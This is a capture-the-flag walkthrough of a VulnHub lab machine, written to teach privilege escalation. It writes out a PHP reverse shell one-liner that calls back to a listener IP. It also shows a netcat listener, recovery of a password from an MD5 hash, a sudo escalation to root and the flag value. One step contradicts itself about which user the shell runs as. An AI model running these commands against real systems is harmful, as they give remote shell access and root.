Escalate My Privileges: 1
Machine: https://www.vulnhub.com/entry/escalate-my-privileges-1,448/
Tools
- NMap — network scanner for port and service discovery
- netcat — versatile networking tool for reverse shells and banner grabbing
- md5sum — command-line tool for computing MD5 hashes
Gaining Access
-
After deploying the VM with a bridged adapter, identify the target IP by checking your network gateway. In my case, the target was at
192.168.0.11. -
Run a comprehensive Nmap scan:
nmap -A 192.168.0.11The scan reveals open ports and a web-based shell at
http://192.168.0.11/phpbash.php. This is a PHP web shell that provides command execution through the browser as theapacheuser. -
The web shell gives us command execution, but it’s limited to the browser. To get a proper interactive shell, use a PHP reverse shell payload. Start a netcat listener on your machine:
nc -lvnp 1337 -
Execute the reverse shell command through phpbash.php:
php -r '$sock=fsockopen("192.168.0.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");'This opens a reverse connection back to our netcat listener, giving us an interactive shell as user
armour.
Privilege Escalation
-
Enumerate the home directory. Inside
/home/armour, there is a file calledCredentials.txt. It contains what appears to be an MD5 hash: the hash ofrootroot1. -
Upgrade the shell to a proper TTY for better interaction:
python -c 'import pty; pty.spawn("/bin/bash")' -
Compute the MD5 hash and use it to switch to the
armouruser:echo -n "rootroot1" | md5sum su armour # Enter the MD5 hash as the password -
Check sudo permissions:
sudo -lThe output shows that
armourcan run/bin/bashas root without a password. -
Escalate to root:
sudo /bin/bash -
Read the flag:
cat /root/flag.txt # 628435356e49f976bab2c04948d22fe4
Lessons Learned
- Web shells are entry points — phpbash.php is a convenience tool for attackers. Always scan for web shells and remove them from production environments.
- Credentials in files — Storing passwords or hashes in text files is a common vulnerability. The
Credentials.txtfile in the home directory was the key to lateral movement. - Sudo misconfigurations — Allowing a user to run
/bin/bashas root without a password is equivalent to giving them full root access. Auditsudo -lregularly and follow the principle of least privilege.